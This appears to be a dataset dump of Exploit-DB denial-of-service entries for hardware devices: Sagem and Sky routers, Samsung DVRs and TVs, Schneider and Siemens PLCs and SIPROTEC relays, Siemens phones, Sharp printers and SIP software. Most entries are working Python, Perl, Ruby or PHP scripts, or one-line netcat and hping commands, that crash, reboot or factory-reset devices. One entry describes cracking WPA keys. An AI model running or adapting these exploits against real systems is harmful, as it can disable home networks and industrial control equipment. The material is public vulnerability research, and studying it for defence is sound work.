deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36309
Description: Sagem F@st 3304-V2 - Telnet Crash (PoC)
Type: dos
Platform: hardware
Date: 2015-03-08
Author: Loudiyi Mohamed

Exploit:
# Title              : Sagem F@st 3304-V2 Telnet Crash POC
# Vendor             : http://www.sagemcom.com
# Severity           : High
# Tested Router      : Sagem F@st 3304-V2 (3304-V1, other versions may also be affected)
# Date               : 2015-03-08
# Author             : Loudiyi Mohamed
# Contact            : Loudiyi.2010@gmail.com
# Blog               : https://www.linkedin.com/pub/mohamed-loudiyi/86/81b/603
# Vulnerability description:
#==========================
#A Memory Corruption Vulnerability is detected on Sagem F@st 3304-V2 Telnet service. An attacker can crash the router by sending a very long string.
#This exploit connects to Sagem F@st 3304-V2 Telnet (Default port 23) and sends a very long string "X"*500000.
#After the exploit is sent, the telnet service will crash and the router will reboot automatically.
 
#Usage: python SagemDos.py "IP address"

# Code
#========================================================================
 #!/usr/bin/python
import socket
import sys
print("######################################")
print("#    DOS Sagem F@st3304 v1-v2        #")
print("#   	----------                  #")
print("#       BY  LOUDIYI MOHAMED          #")
print("#####################################")
if (len(sys.argv)<2):
	print "Usage: %s <host> " % sys.argv[0]
	print "Example: %s 192.168.1.1 " % sys.argv[0]
	exit(0)
print "\nSending evil	buffer..."
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
 s.connect((sys.argv[1], 23))
 buffer = "X"*500000
 s.send(buffer)
except:
 print "Could not connect to Sagem Telnet!"
#========================================================================
Exploit-DB #34172
Description: Sagem Fast 3304-V1 - Denial of Service
Type: dos
Platform: hardware
Date: 2014-07-27
Author: Z3ro0ne

Exploit:
# Title              : Sagem F@st 3304-V1 denial of service Vulnerability
# Vendor Homepage    : http://www.sagemcom.com
# Tested on          : Firefox, Google Chrome
# Tested Router      : Sagem F@st 3304-V1 
# Date               : 2014-07-26
# Author             : Z3ro0ne
# Contact            : saadousfar59@gmail.com
# Facebook Page      : https://www.facebook.com/Z3ro0ne

# Vulnerability description :
the Vulnerability allow unauthenticated users to remotely restart and reset the router
# Exploit:

<html>
<title>SAGEM FAST3304-V1 DENIAL OF SERVICE</title>
<body>
<FORM ACTION="http://192.168.1.1/SubmitMaintCONFIG?ACTION=R%E9tablir+la+configuration+initiale">
    <INPUT TYPE="SUBMIT" VALUE="REBOOT ROUTER">
  </FORM>
  <FORM ACTION="http://192.168.1.1/SubmitMaintCONFIG?ACTION=R%E9tablir+la+configuration+initiale">
    <INPUT TYPE="SUBMIT" VALUE="FACTORY RESET">
  </FORM>
</body>
</html>
Reset to factory configuration :
--- Using Google Chrome browser :
to reset the router without any authentication just execute the following url http://ROUTER-ipaddress/SubmitMaintCONFIG?ACTION=R%E9tablir+la+configuration+initiale in the url bar
Exploit-DB #11633
Description: Sagem Routers - Remote Reset
Type: dos
Platform: hardware
Date: 2010-03-04
Author: AlpHaNiX

Exploit:
#!/usr/bin/perl
# Exploit Title: Sagem routers Remote Reset Exploit
# Date: 04/03/2010
# Author: AlpHaNiX
# Software Link: null
# Version: Sagem Routers F@ST (1200/1240/1400/1400W/1500/1500-WG/2404
# Tested on: Sagem F@ST 2404


# Code :

use HTTP::Request;
use HTTP::Headers;
use LWP::UserAgent;
system('cls');
if (@ARGV != 1) { header();help(); exit(); }
else{
if ($ARGV[0] =~ /http:\/\// ) { $ipz = $ARGV[0]."/"; } else { $ipz = "http://".$ARGV[0]."/";$ip=$ARGV[0] }
header();
print "[+] Working on $ip ..\n\n";
exploit();
sub help()
{
    print "\n[X] the target must be sagem rooter main ip adress\n".
          "[X] affected Versions : Sagem Routers F@ST (1200/1240/1400/1400W/1500/1500-WG/2404)\n".
          "[X] Usage   : perl $0 target \n".
          "[X] Example : ./exploit.pl<http://exploit.pl> 192.168.1.1 \n";
}
sub header()
{
    print "\n[+]====================================[+]\n".
          "[+] Sagem routers Remote Reset Exploit [+]\n".
          "[+] Found And Exploit By AlpHaNiX      [+]\n".
          "[+] Contact  : AlpHa[at]Hacker[dot]Bz  [+]\n".
          "[+] HomePage : NullArea.Net            [+]\n".
          "[+]====================================[+]\n\n\n"
}
sub exploit()
{
    my $target = $ipz."restoreinfo.cgi" ;
    my $request = HTTP::Request->new(GET=>$target);
    my $useragent = LWP::UserAgent->new();
    my $response = $useragent->request($request);
    if($response->content =~ m/<HTML><HEAD><TITLE>401 Unauthorized<\/TITLE><\/HEAD>/i && $response->content =~ m/<BODY BGCOLOR="#cc9999"><H4>401 Unauthorized<\/H4>/ && $response->content =~ m/<ADDRESS><A HREF="http:\/\/www.acme.com<http://www.acme.com>\/software\/micro_httpd\/">micro_httpd<\/A><\/ADDRESS>/ )
    {
        print "[+] Authentication bypassed !\n" ;
        print "[+] Exploited , $ip is restored" ;
    }
    else
    {
        print "[+] Please make sure you entered real sagem router ip\n" ;
    }
}


}
Exploit-DB #6394
Description: Samsung DVR SHR2040 - HTTPd Remote Denial of Service Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2008-09-07
Author: Alex Hernandez

Exploit:
#!/usr/bin/perl -w
#
# Samsung DVR SHR2040 HTTPD Remote Denial of Service DoS PoC
#
# The vulnerability is caused due to an unspecified error in the cgis
# files filter used for configure propierties. This can be exploited by
# sending a specially crafted HTTP request (NO necessary authentication), 
# which will cause the HTTP service on the system to crash.
#
# Requisites: Test default ports:
#
# PORT STATE SERVICE
# 554/tcp open rtsp
# 557/tcp open openvms-sysipc
#
# The vulnerability has been reported in versions Samsung DVR
#
# Firmware Version B3.03E-K1.53-V2.19_[PII_REDACTED], Model = SHR2040
#
# More information: 	http://www.samsung.com
#			http://www.sybsecurity.com
#
# Very special credits: str0ke, Kf, rathaous, !dsr, 0dd.
#
# and friends: nitr0us, crypkey, dex, xdawn, sirdarckcat, kuza55,
# pikah, codebreak, h3llfyr3, canit0.
#
# Alex Hernandez ahernandez [at] sybsecurity dot com
#

use strict;
use LWP;
use Data::Dumper;
require HTTP::Request;
require HTTP::Headers;

my $string = 	"/x";				# Strings to send
my $method = 	'GET';				# Method "GET" or "POST"
my $uri = 	'http://10.50.10.248:557';	# IP address:port (change this)
my $content = 	"/test.html";			# Paths to crash

#my $content = 	"/first.htm";
#my $content = 	"/content_frame.htm?cgiName=";
#my $content = 	"/index_menu.htm?lang=en&topMenu=";

my $headers = HTTP::Headers->new(

'Accept:'               => '*/*',
'Referer:'       	=> 'http://$1$9hC8DmrL$8NG8i3pQXBabAKo.AIm8U.:12345@10.50.10.248:557',
'Accept-Language:'     	=> 'en-us,en;q=0.5',
'UA-CPU:'          	=> 'x86',
'Accept-Encoding:'      => 'gzip, deflate',
'User-Agent:'   	=> 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Host:'          	=> '10.50.10.248:557',
'Connection'          	=> 'keep-alive',
'Authorization:'	=> 'Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==', # base64 encode ADMIN:12345

);

my $request = HTTP::Request->new($method, $uri, $headers, $content, $string);

my $ua = LWP::UserAgent->new;
my $response = $ua->request($request);

print "[+] Denial of Service exploit for Samsung SHR2040 Final\n";
print "[+] Coded by: Alex Hernandez [ahernandez\@sybsecurity.com]\n";
print "[+] We got this response from DVR: \n\n" . $response->content . "\n";

my $data;
	foreach my $pair (split('&', $response->content)) {
 		my ($k, $v) = split('=', $pair);
		$data->{$k} = $v;
}

if ($data->{RESULT} != 0) {

	print "[+] Denial of Service exploit for Samsung SHR2040 Final\n";
	print "[+] Coded by: Alex Hernandez[ahernandez\@sybsecurity.com]\n";
	print "[+] Use:\n";
	print "\tperl -x dos_dvrsamsung.pl\n";
 	print $data->{RESPMSG} . "\n";
	exit(0);

} else {

 	print "[+] Denial of service Exploit successed!!!\n";
	print "[+] By Alex Hernandez[ahernandez\@sybsecurity.com]\n";

}

# milw0rm.com [2008-09-07]
Exploit-DB #27043
Description: Samsung PS50C7700 TV - Denial of Service
Type: dos
Platform: hardware
Date: 2013-07-23
Author: Malik Mesellem

Exploit:
#!/usr/bin/python

# Exploit Title: Samsung TV Denial of Service (DoS) Attack
# Date: 07/21/2013
# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com
# CVE Number: CVE-2013-4890
# Vendor Homepage: http://www.samsung.com
# Description: Resets some Samsung TVs
#   The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request
#   Tested successfully on my Samsung PS50C7700 plasma TV :)
 
import httplib
import sys
import os

print "  ***************************************************************************************"
print "   Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com\n"
print "   Exploit: Denial of Service (DoS) attack\n"
print "   Description: Resets some Samsung TVs\n"
print "     The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."
print "     Tested successfully on my Samsung PS50C7700 plasma TV :)\n"
print "  ***************************************************************************************\n"

# Sends the payload
print "  Sending the malicious payload...\n"
conn = httplib.HTTPConnection(sys.argv[1],5600)
conn.request("GET", "A"*300)
conn.close()

# Checks the response
print "  Checking the status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
  if response != 0:
    print "  Target down!\n"
Exploit-DB #13823
Description: Savy Soda Documents - Mobile Office Suite '.XLS' Denial of Service
Type: dos
Platform: hardware
Date: 2010-06-11
Author: Matthew Bergin

Exploit:
I wrote a fuzzer "dumb fuzzer" and used a sample from http://www.ccp14.ac.uk/ccp/web-mirrors/bca-spreadsheets/scanplot101.xls  which I randomly found on the internet. I mutated the data and tested roughly 1000 cases on several Document Reader Applications for iPhone. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13825.xls (savysoda_poc.xls)
Exploit-DB #27749
Description: Schneider Electric PLC ETY Series Ethernet Controller - Denial of Service
Type: dos
Platform: hardware
Date: 2013-08-21
Author: Arash Abedian

Exploit:
####
# Telnet server of Schenider Electric ETY Series Controllers have a security problem. We noticed that while we are connected to the PLC through telnet, if we call telnet instance inside VxWorks again it can cause the device to crash. The telnet instance name is tTelnetd which you can see in the following line.
#-> version 
#VxWorks (for VXW_370) version 5.4. 
#Kernel: WIND version 2.5. 
#Made on Mar 30 2005, 15:58:00. 
#Boot line: 
#fec(0,0) 192.168.2.1:C:\Manuf\Ety410\vxWorks h=192.168.2.1 e=192.168.2.100 u=ety pw=pass_ety tn=target 
#value = 114 = 0x72 = 'r' 
# -> tTelnetd 
# 
#Implementation Dependent Instruction TLB Miss
#Exception current instruction address: 0x58585858
#Machine Status Register: 0x08209032
#Condition Register: 0x44400040
#Task: 0xe31038 "tShell"
#0xced4b0 (LDMGR): 12/17/13 02:01:26 0 DVMGR DM: Reboot on exception. TID=C93568,
#IP = C931B8
#0xced4b0 (LDMGR): 12/17/13 02:01:26 0 LDMGR Fatal error:
#  specific code    1
#  error code      7cf
# file H:/ety/DeviceMgr/DeviceMgt.cpp line 2107
# Exploit Author: Arash Abedian (website: arashsec.com) (arash@arashsec.com)
# Contact: arash.ab@gmail.com
# Twitter: twitter.com/Arash_A_Amiri , bzq@yahoo.com
####
require 'socket'
host = "192.168.20.10"
sd = TCPSocket.new(host, 23)
trigger = "\x6e\x74\x70\x75\x70\x64\x61\x74\x65"+"\x0a\\x6e\x74\x70\x75\x70\x64\x61\x74\x65\x0a\x0a"+"\x63\x64\x20\x22\x2f\x46\x4c\x41\x53\x48\x30\x22\x0a\x0a"+"\x74\x54\x65\x6c\x6e\x65\x74\x64"
1.times { |p|
  puts "[+] Sending evil packet #{p + 1} ..."
  sleep(3)
  sd.write(trigger)
}
sd.close
Exploit-DB #26835
Description: Scientific Atlanta DPX2100 Cable Modem - LanD Packet Denial of Service
Type: dos
Platform: hardware
Date: 2005-12-14
Author: Justin M. Wray

Exploit:
source: www.securityfocus.com/bid/15870/info

Scientific Atlanta DPX2100 cable modems are prone to a denial of service vulnerability.

These devices are susceptible to a remote denial of service vulnerability when handling TCP 'LanD' packets.

This issue allows remote attackers to crash affected devices, or to temporarily block further network routing functionality. This will deny further network services to legitimate users.

Scientific Atlanta DPX2100 cable modems are reportedly affected by this issue. Due to code reuse among devices, other devices may also be affected. 

The following Hping2 command is sufficient to crash affected devices. The IP addresses must both be configured on the targeted device:

hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1
Exploit-DB #34306
Description: SHARP MX Series - Denial of Service
Type: dos
Platform: hardware
Date: 2014-08-09
Author: pws

Exploit:
# Exploit Title: SHARP MX Series - Denial Of Service
# Date: 08/08/2014
# Exploit Author: pws
# Vendor Homepage: Sharp Printers
# Firmware Link: Not found
# Tested on: Latest version
# Shodan d0rk: "SHARP Telnet server" ~4000 devices
# CVE : None yet

$ python -c 'print "A"*200 + "\n"' | nc 192.168.30.5 23

$ telnet 192.168.30.5 23
Trying 192.168.30.5 23...
telnet: Unable to connect to remote host: Connection refused

This vulnerability leads to a Denial of Service vulnerability. 

Unfortunately, we were unable to retrieve the core dumped but 
this flaw might result in a Buffer Overflow allowing remote command execution.
Exploit-DB #7220
Description: Siemens C450IP/C475IP - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2008-11-24
Author: sky & Any

Exploit:
Hi,

echo -e "X sip:s X\nFrom:<sip:@x>\nTo:<sip:@x>\n" | nc -q0 -u <target> 5060

Will disconnect all current VOIP and PSTN calls and reboot
the C450IP/C475IP devices.

Tested with current firmwares.

Vendor (Siemens) was contacted 11/2007, no fix supplied yet.

Have phun!

sky & Any

# milw0rm.com [2008-11-24]
Exploit-DB #9646
Description: Siemens Gigaset SE361 WLAN - Remote Reboot (Denial of Service)
Type: dos
Platform: hardware
Date: 2009-09-11
Author: crashbrz

Exploit:
Attacking port 1723(flood), it restarts the device almost instantly, here's the code in PHP.
It takes a few bytes for the AP to automatically restart

<?php
$apaddr = "192.168.2.1";
$apport="1723";


$con = fsockopen($apaddr, $apport, $errno, $errstr);
if (!$con) {
    echo "$errstr ($errno)<br />\n";
} else {
    $trash = str_repeat("\x90","261");
    fwrite($con, $trash);
    while (!feof($con)) {
        echo "$trash \r\n";
    }
    fclose($con);
}
?> 

# milw0rm.com [2009-09-11]
Exploit-DB #50613
Description: Siemens S7 Layer 2 - Denial of Service (DoS)
Type: dos
Platform: hardware
Date: 2022-01-05
Author: RoseSecurity

Exploit:
# Exploit Title: Siemens S7 Layer 2 - Denial of Service (DoS)
# Date: 21/10/2021
# Exploit Author: RoseSecurity
# Vendor Homepage: https://www.siemens.com/us/en.html
# Version: Firmware versions >= 3
# Tested on: Siemens S7-300, S7-400 PLCs


#!/usr/bin/python3

from scapy.all import *
from colorama import Fore, Back, Style
from subprocess import Popen, PIPE
from art import *
import threading
import subprocess
import time
import os
import sys
import re

# Banner

print(Fore.RED + r"""

 ▄▄▄· ▄• ▄▌▄▄▄▄▄      • ▌ ▄ ·.  ▄▄▄· ▄▄▄▄▄      ▄▄▄   
▐█ ▀█ █▪██▌•██  ▪     ·██ ▐███▪▐█ ▀█ •██  ▪     ▀▄ █· 
▄█▀▀█ █▌▐█▌ ▐█.▪ ▄█▀▄ ▐█ ▌▐▌▐█·▄█▀▀█  ▐█.▪ ▄█▀▄ ▐▀▀▄  
▐█ ▪▐▌▐█▄█▌ ▐█▌·▐█▌.▐▌██ ██▌▐█▌▐█ ▪▐▌ ▐█▌·▐█▌.▐▌▐█•█▌ 
 ▀  ▀  ▀▀▀  ▀▀▀  ▀█▄▀▪▀▀  █▪▀▀▀ ▀  ▀  ▀▀▀  ▀█▄▀▪.▀  ▀ 
▄▄▄▄▄▄▄▄ .▄▄▄  • ▌ ▄ ·. ▪   ▐ ▄  ▄▄▄· ▄▄▄▄▄      ▄▄▄  
•██  ▀▄.▀·▀▄ █··██ ▐███▪██ •█▌▐█▐█ ▀█ •██  ▪     ▀▄ █·
 ▐█.▪▐▀▀▪▄▐▀▀▄ ▐█ ▌▐▌▐█·▐█·▐█▐▐▌▄█▀▀█  ▐█.▪ ▄█▀▄ ▐▀▀▄ 
 ▐█▌·▐█▄▄▌▐█•█▌██ ██▌▐█▌▐█▌██▐█▌▐█ ▪▐▌ ▐█▌·▐█▌.▐▌▐█•█▌
 ▀▀▀  ▀▀▀ .▀  ▀▀▀  █▪▀▀▀▀▀▀▀▀ █▪ ▀  ▀  ▀▀▀  ▀█▄▀▪.▀  ▀
                """)

time.sleep(1.5)

# Get IP to exploit

IP = input("Enter the IP address of the device to exploit: ")

# Find the mac address of the device

Mac = getmacbyip(IP)

# Function to send the ouput to "nothing"

def NULL ():

    f = open(os.devnull, 'w')
    sys.stdout = f

# Eternal loop to produce DoS condition

def Arnold ():

    AutomatorTerminator = True

    while AutomatorTerminator == True:
        Packet = Ether()
        Packet.dst = "00:00:00:00:00:00"
        Packet.src = Mac
        sendp(Packet)
        NULL()
def Sarah ():

    AutomatorTerminator = True

    while AutomatorTerminator == True:
        Packet = Ether()
        Packet.dst = "00:00:00:00:00:00"
        Packet.src = Mac
        sendp(Packet)
        NULL()
def Kyle ():
    AutomatorTerminator = True

    while AutomatorTerminator == True:
        Packet = Ether()
        Packet.dst = "00:00:00:00:00:00"
        Packet.src = Mac
        sendp(Packet)
        NULL()

# Arnold
ArnoldThread = threading.Thread(target=Arnold)
ArnoldThread.start()
ArnoldThread.join()
NULL()

# Sarah

SarahThread = threading.Thread(target=Sarah)
SarahThread.start()
SarahThread.join()
NULL()

# Kyle

KyleThread = threading.Thread(target=Kyle)
KyleThread.start()
KyleThread.join()
NULL()
Exploit-DB #44103
Description: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < 4.25 - Denial of Service
Type: dos
Platform: hardware
Date: 2018-02-16
Author: M. Can Kurnaz

Exploit:
# Exploit Title: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service
# Date: 14.02.2018
# Exploit Author: M. Can Kurnaz
# Contact: https://twitter.com/0x43414e
# Vendor Homepage: https://www.siemens.com
# Version: All devices that include the EN100 Ethernet module version V4.24 or prior.
# Tested on: Siemens SIPROTEC 4 (multiple versions < V4.25).
# CVE : CVE-2015-5374
# Vulnerability Details: 
# https://www.cvedetails.com/cve/CVE-2015-5374/
# https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01

#!/usr/bin/env python

import socket
import sys

print('CVE-2015-5374 Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service')

if len(sys.argv) < 2:
	print('Usage: ' + sys.argv[0] + ' [target]')
	sys.exit(1)

print('Sending packet to ' + sys.argv[1] + ' ...')

payload = bytearray('11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E'.replace(' ', '').decode('hex')) 

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], 50000))

print('Done, say goodbye!')
Exploit-DB #2000
Description: SIPfoundry sipXtapi - 'CSeq' Remote Buffer Overflow (PoC)
Type: dos
Platform: hardware
Date: 2006-07-10
Author: Michael Thumann

Exploit:
#!/usr/bin/perl
# PoC Exploit By mthumann@ernw.de
# Remote Buffer Overflow in sipXtapi

use IO::Socket;
#use strict;


print "sipXtapi Exploit by Michael Thumann \n\n";

if (not $ARGV[0]) {
        print "Usage: sipx.pl <host>\n";
exit;}

$target=$ARGV[0];
my $source ="127.0.0.1";
my $target_port = 5060;
my $user ="bad";
my $eip="\x41\x41\x41\x41";
my $cseq =
"\x31\x31\x35\x37\x39\x32\x30\x38".
"\x39\x32\x33\x37\x33\x31\x36\x31".
"\x39\x35\x34\x32\x33\x35\x37\x30".
$eip;
my $packet =<<END;
INVITE sip:user\@$source SIP/2.0\r
To: <sip:$target:$target_port>\r
Via: SIP/2.0/UDP $target:3277\r
From: "moz"<sip:$target:3277>\r
Call-ID: 3121$target\r
CSeq: $cseq\r
Max-Forwards: 70\r
Contact: <sip:$source:5059>\r
\r
END

print "Sending Packet to: " . $target . "\n\n";
socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));
my $ipaddr = inet_aton($target);
my $sendto = sockaddr_in($target_port,$ipaddr);
send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to $target : $target_port : $!\n";
print "Done.\n";

#EoF

# milw0rm.com [2006-07-10]
Exploit-DB #34307
Description: Sky Broadband Router SR101 - Weak WPA-PSK Generation Algorithm
Type: dos
Platform: hardware
Date: 2014-08-09
Author: Matt O'Connor

Exploit:
# Exploit Title: Sky Broadband Router  Weak algorithm used to generate WPA-PSK Key
# Google Dork: 
# Date: 08/08/2014
# Author: Matt O'Connor / Planit Computing
# Advisory Link:  http://www.planitcomputing.ie/sky-wifi-attack.pdf 
# Version: 
# Category: Remote
# Tested on: Sky SR101 Router



The SR101 routers supplied by Sky Broadband are vulnerable to an offline dictionary attack if the WPA-PSK handshake is obtained by an attacker.
 
The WPA-PSK pass phrase has the following features:
	Random
	A to Z Uppercase only
	8 characters long
	208,827,064,576 possible combinations ( AAAAAAAA  ZZZZZZZZ ) 26^8
 
We notified Sky Broadband about the problem in January 2014 yet Sky Broadband are still supplying customers with routers / modems that use this weak algorithm.
At the time, graphics cards were expensive and clustering several machines was not financially viable to the average hacker.

We purchased a used rig in December 2013, comprising off:
	Windows 7
	I3 Processor
	4GB RAM
	2TB Drive
	Radeon HD 5850

We generated 26 dictionary files using mask processor by ATOM, piping each letter out to its own file, for example:

A:  ./mp32 A?u?u?u?u?u?u?u > A.TXT = AAAAAAAA  AZZZZZZZ
B: ./mp32 B?u?u?u?u?u?u?u > B.TXT = BAAAAAAA  BZZZZZZZ
etc

Each .txt file weighed in at around 60GBs each.  The 26 files took up about 1.6TB of storage.

We now had the complete key space, partitioned into 26 different files.  This allowed us to distribute the brute force attack amongst multiple computers.  There are other ways with ocl-hashcat but this was the simplest.

Using our Radeon HD5850 on standard settings, we were hitting 80,000 keys per second.  Breakdown below:

	26^8 = 208,827,064,576 ( 208 billion possible combinations )
	26^8 / 80,000 keys per second = 2,610,338 seconds
	2,610,338 / 60 seconds = 43,505 minutes
	43,505 / 60 minutes = 725 hours
	725 hours / 24 hours = 30 Days

For 185, we had built a computer that could crack the default Sky Broadband wireless password within 30 days.  The WPA-PSK handshake we used started with the letter S and was cracked within 96 hours.

We ended up getting a second machine for the same price which resulted in our maximum cracking time being reduced to 15 days.

If youre using the default password on your Sky Broadband connection, we recommend changing it immediately to a more secure password, using a mix of letters, numbers and symbols.